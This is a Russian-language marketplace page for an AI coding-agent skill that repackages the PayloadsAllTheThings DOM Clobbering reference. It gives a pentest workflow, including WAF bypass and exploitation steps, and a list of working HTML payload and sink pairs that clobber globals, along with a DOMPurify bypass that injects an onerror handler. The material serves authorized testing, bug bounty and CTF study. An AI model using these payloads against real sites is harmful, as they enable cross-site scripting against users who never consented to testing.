payloads-dom-clobbering
DOM Clobbering is a technique where global variables can be overwritten or 'clobbered' by naming HTML elements with certain IDs or names. This can cause…
от smartworldarafath★ 68 звёзд на GitHub
Установить payloads-dom-clobbering в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Об этом скилле
DOM Clobbering Payloads
Source: PayloadsAllTheThings/DOM Clobbering Category:
payloads-research| Skill ID:payloads-dom-clobbering
Overview
DOM clobbering attack payloads for overriding globals and enabling XSS via named elements.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the DOM Clobbering Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
Workflow
1. Recon & Identification
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
2. Payload Selection
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
3. Exploitation (Authorized Only)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
4. Verification & Reporting
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
Full PATT Reference
DOM Clobbering
DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
Summary
Tools
- SoheilKhodayari/DOMClobbering - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
- yeswehack/Dom-Explorer - A web-based tool designed for testing various HTML parsers and sanitizers.
- yeswehack/Dom-Explorer Live - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
Methodology
Exploitation requires any kind of HTML injection in the page.
Clobbering
x.y.value// Payload <form id=x><output id=y>I've been clobbered</output> // Sink <script>alert(x.y.value);</script>Clobbering
x.yusing ID and name attributes together to form a DOM collection// Payload <a id=x><a id=x name=y href="Clobbered"> // Sink <script>alert(x.y)</script>Clobbering
x.y.z- 3 levels deep// Payload <form id=x name=y><input id=z></form> <form id=x></form> // Sink <script>alert(x.y.z)</script>Clobbering
a.b.c.d- more than 3 levels// Payload <iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <style>@import '//portswigger.net';</style> // Sink <script>alert(a.b.c.d)</script>Clobbering
forEach(Chrome only)// Payload <form id=x> <input id=y name=z> <input id=y> </form> // Sink <script>x.y.forEach(element=>alert(element))</script>Clobbering
document.getElementById()using<html>or<body>tag with the sameidattribute// Payloads <html id="cdnDomain">clobbered</html> <svg><body id=cdnDomain>clobbered</body></svg> // Sink <script> alert(document.getElementById('cdnDomain').innerText);//clobbbered </script>Clobbering
x.username// Payload <a id=x href="ftp:Clobbered-username:Clobbered-Password@a"> // Sink <script> alert(x.username)//Clobbered-username alert(x.password)//Clobbered-password </script>Clobbering (Firefox only)
// Payload <base href=a:abc><a id=x href="Firefox<>"> // Sink <script> alert(x)//Firefox<> </script>Clobbering (Chrome only)
// Payload <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123> // Sink <script> alert(x.xyz)//a://Clobbered<> </script>
Tricks
- DomPurify allows the protocol
cid:, which doesn't encode double quote ("):<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
Labs
- [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/we
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
Вложенные файлы
- agents/openai.yaml
FAQ
Что делает скилл payloads-dom-clobbering?
DOM Clobbering is a technique where global variables can be overwritten or 'clobbered' by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities. - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers - A web-based tool designed for testing various HTML parsers and sanitizers. -...
Как установить скилл payloads-dom-clobbering?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл payloads-dom-clobbering запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
theme-factory
AnthropicToolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with…
access
AnthropicManage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed…
configure
AnthropicSet up the Discord channel — save the bot token and review access policy. Use when the user pastes a Discord bot token, asks to configure Discord, asks "how…
access
AnthropicManage iMessage channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed…